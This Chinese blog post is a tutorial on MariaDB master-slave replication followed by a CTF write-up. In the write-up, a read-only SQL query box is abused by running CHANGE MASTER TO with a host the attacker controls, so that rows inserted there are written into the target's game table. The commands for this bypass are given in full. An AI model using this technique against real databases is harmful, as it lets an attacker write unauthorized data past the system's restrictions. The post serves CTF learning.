mysql主从复制-CTF中

Posted by Azeril on September 1, 2023

Mysql主从复制

mysql复制文件位置

/etc/my.cnf.d/server.cnf
/etc/mysql/mq.conf
/etc/mysql/mariadb.conf.

实操

首先我们通过docker导入镜像

docker run -it -d --name some-mariadb --env MARIADB_USER=ctf --env MARIADB_PASSWORD=ctf --env MARIADB_ROOT_PASSWORD=123456 -p 53306:3306 mariadb:10.9.8

然后docker exec -it 容器id bash进入

主从复制的文件夹在 /etc/mysql/mariadb.conf.d中,有的在/etc/my.cnf.d/所以根据实际情况而定

然后直接使用vim是没有的需要

sed -i 's@//.*archive.ubuntu.com@//mirrors.ustc.edu.cn@g' /etc/apt/sources.list
apt update
apt install -y nano
    
apt update
apt install vim

vim 50-server.cnf,只需要关注[mysqld]中的部分就可以

[mysqld]

#
# * Basic Settings
#

#user                    = mysql
pid-file                = /run/mysqld/mysqld.pid
basedir                 = /usr

server_id = 100
secure_file_priv = 
log-bin = mysql-bin
binlog_format = MIXED
#datadir                 = /var/lib/mysql
#tmpdir                  = /tmp

# Broken reverse DNS slows down connections considerably and name resolve is
# safe to skip if there are no "host by domain name" access grants
#skip-name-resolve

# Instead of skip-networking the default is now to listen only on
# localhost which is more compatible and is not less secure.
#bind-address            = 127.0.0.1

server_id = 100
secure_file_priv = 
log-bin = mysql-bin
binlog_format = MIXED  //这些是自己加的

server_id = 100: 这是MySQL服务器的唯一标识符,用于主从复制中的标识。在复制设置中,每个服务器必须具有唯一的server_id。
secure_file_priv = : 这是一个安全设置,用于限制可以从哪个目录读取或写入文件。如果设置了路径,则只有在该路径下的文件才能被数据库访问。
log-bin = mysql-bin: 这启用了二进制日志功能,允许MySQL记录所有写入数据库的操作,以便在主从复制中使用。
binlog_format = MIXED: 这是二进制日志的格式。MIXED格式允许MySQL在某些情况下使用基于语句的日志,而在其他情况下使用基于行的日志,以便在主从复制中更灵活地处理。

然后容器进行重启docker restart some-mariadb

mysql -uroot -p123456
set global binlog_checksum=0;//关闭检验,否则会采用crc32检验
reset master; 

reset master用于重置二进制日志文件和位置。

使用后,所有二进制日志文件被关闭,当前使用的日志文件会被重命名,并且索引会设置成1.

且所有已命名的’mysql-bin.xxx’格式的文件都会被删除.

MariaDB [(none)]> CREATE  USER  'replication_user'@'%'  IDENTIFIED  BY  'bigs3cret'; 
MariaDB [(none)]> GRANT REPLICATION SLAVE ON *.* TO 'replication_user'@'%';
————————————————
CREATE USER 'replication_user'@'%' IDENTIFIED BY 'bigs3cret';

这条命令创建一个名为 'replication_user' 的新用户,并设置密码为 'bigs3cret'。
这个用户可以从任何主机('%')登录。
GRANT REPLICATION SLAVE ON *.* TO 'replication_user'@'%';

这条命令授予 'replication_user' 在所有数据库和所有表上进行复制从属的权限。
用户 'replication_user' 可以作为复制从属使用,从而可以用于实现数据库的主从复制。

总结一下就是

二进制文件位置:/var/lib/mysql/mysql-bin.000001

show master status; 查看二进制文件状态
reset master;  //重置二进制文件

也就是我们不执行改变数据库的操作二进制文件不会记录

由于MySQL 的二进制日志(binlog)主要用于记录对数据库的修改操作,例如 INSERT、UPDATE 和 DELETE,以及更改表结构的操作,例如 ALTER TABLE。它不会记录只涉及查询数据而不修改数据的操作,例如 SELECT、SHOW、DESCRIBE 等。

二进制日志在数据库复制和恢复过程中起着重要作用,它允许主服务器记录更改,并将这些更改发送到从服务器以保持同步。这使得从服务器可以按照与主服务器相同的顺序重演这些更改,以确保数据一致性。

所以可以自己下载这个文件,改成select语句。

从服务器配置

主从数据库版本一定要一样的,select version();来确定

  [root@k3s001 ~]# vi /etc/my.cnf.d/server.cnf 
# 添加
[mysqld]
# 全局唯一的server-id
server_id=2
# 开启只读模式,root用户不起效,实际环境需要配置只读数据的用户
read_only=ON
[root@k3s001 ~]# systemctl restart mariadb
[root@k3s001 ~]# mysql -uroot -p
# 输入命令,需要替换为自己的主服务器信息
# MASTER_HOST=》主服务器ip
# MASTER_USER=》 用于复制的账户名
# MASTER_PASSWORD=》用于复制的账户密码 
# MASTER_PORT=》主服务器端口
# MASTER_LOG_FILE=》主服务器binlog日志名,和File保持一致               
# MASTER_LOG_POS=》 主服务器binlog日志记录位置,和Position保持一致
# MASTER_CONNECT_RETRY=》 连接重试次数
 CHANGE MASTER TO
  MASTER_HOST='192.168.0.12',
  MASTER_USER='replication_user',
  MASTER_PASSWORD='bigs3cret',
  MASTER_PORT=53306,
  MASTER_LOG_FILE='master1-bin.000001',
  MASTER_LOG_POS=651,
  MASTER_CONNECT_RETRY=10;
# 开启复制
MariaDB [(none)]> start slave;
# 查看复制状态
MariaDB [(none)]> show slave status;
# 查看进程
MariaDB [(none)]> show processlist;
# 查看复制所有信息,图中箭头位置为YES时,表示配置完成
MariaDB [(none)]> show slave status\G;

发现没成功,看了下自己的网段 192.168.0.12 和 192.168.52.128

server_id = 1 secure_file_priv = log-bin = mysql-bin binlog_format = MIXED

127可以访问,192就 不行好奇怪

应该就是kali的问题导致连接不上(不深究了)

总结一下

主服务器:开启二进制文件,serverid  并且重启,设置一个权限的用户
从服务器:设置severid,CHANGE MASTER进行连接,start slave开始复制数据

例题分析

前不久的安洵杯上就出现过这道题,首先页面是一个sql按钮,比如 select version();都可以出结果,但是一些修改命令 insert/update被禁用了,只能进行查询。另一个页面时猜拳,如果直接写会显示数据库报错无内容(所以我们要想办法往数据库添加数据)

这时候我们就可以进行查询数据库版本

(主从复制)

首先需要查看数据库的版本:select version();

然后在自己的vps上起一个相同版本的mariadb,

并且需要修改配置文件vim /etc/mysql/mq.conf,允许远程访问并启用二进制文件

server-id=1
log_bin=/var/log/mysql/mariadb-bin
service mysql restart

主服务器执行

CREATE USER 'atest'@'%' IDENTIFIED BY  'testtest'
grant replication slave on.to 'atest'@'%'
这个命令授予 atest 用户在任何数据库和表上作为从服务器的复制权限。
flush privileges;
这个命令重新加载了所有权限表,以确保新的用户和权限配置立即生效。

然后在题目的命令框中进行查询,select database(); show tables;desc game;等查询 命令将从服务器上的数据库结构一比一复制到主服务器上

CREATE DATABASE IF NOT EXISTS game_data; use game_data CREATE TABLE IF NOT EXISTS game ( round int(20) , choice varchar(256) ) ;

在主服务器mysql中执行

show master status;

记录下来File和Position

mysql-bin.0000001 1376

最后在题目中

CHANGE MASTER TO MASTER_HOST='主服务器ip', MASTER_USER='atest',
MASTER_PASSWORD='testtest', MASTER_LOG_FILE='mariadb-bin.000001(记录的值)',MASTER_LOG_POS=1365(记录的值);
: 设置从服务器要从主服务器复制的二进制日志文件的名称。
: 设置从服务器应该从主服务器的哪个位置开始读取二进制日志文件。这个值通常是通过查看主服务器的 SHOW MASTER STATUS 命令输出来确定的。
start slave;
这个命令开始从主服务器复制数据到从服务器。
show slave status;
这个命令显示从服务器状态信息,包括当前正在复制的二进制日志文件和读取位置,以及复制过程中任何错误的详细信息。	

最后直接插入数据

在 主服务器中执行

INSERT INTO game ( round , choice ) VALUES ('1', 'R'), ('2', 'R'),('3', 'R'), ('4', 'R'),('5', 'R'), ('6', 'R'),('7','R'), ('8', 'R'),('9', 'R'), ('10', 'R');

Creative Commons License
本作品采用CC BY-NC-ND 4.0进行许可。转载,请注明原作者 Azeril 及本文源链接。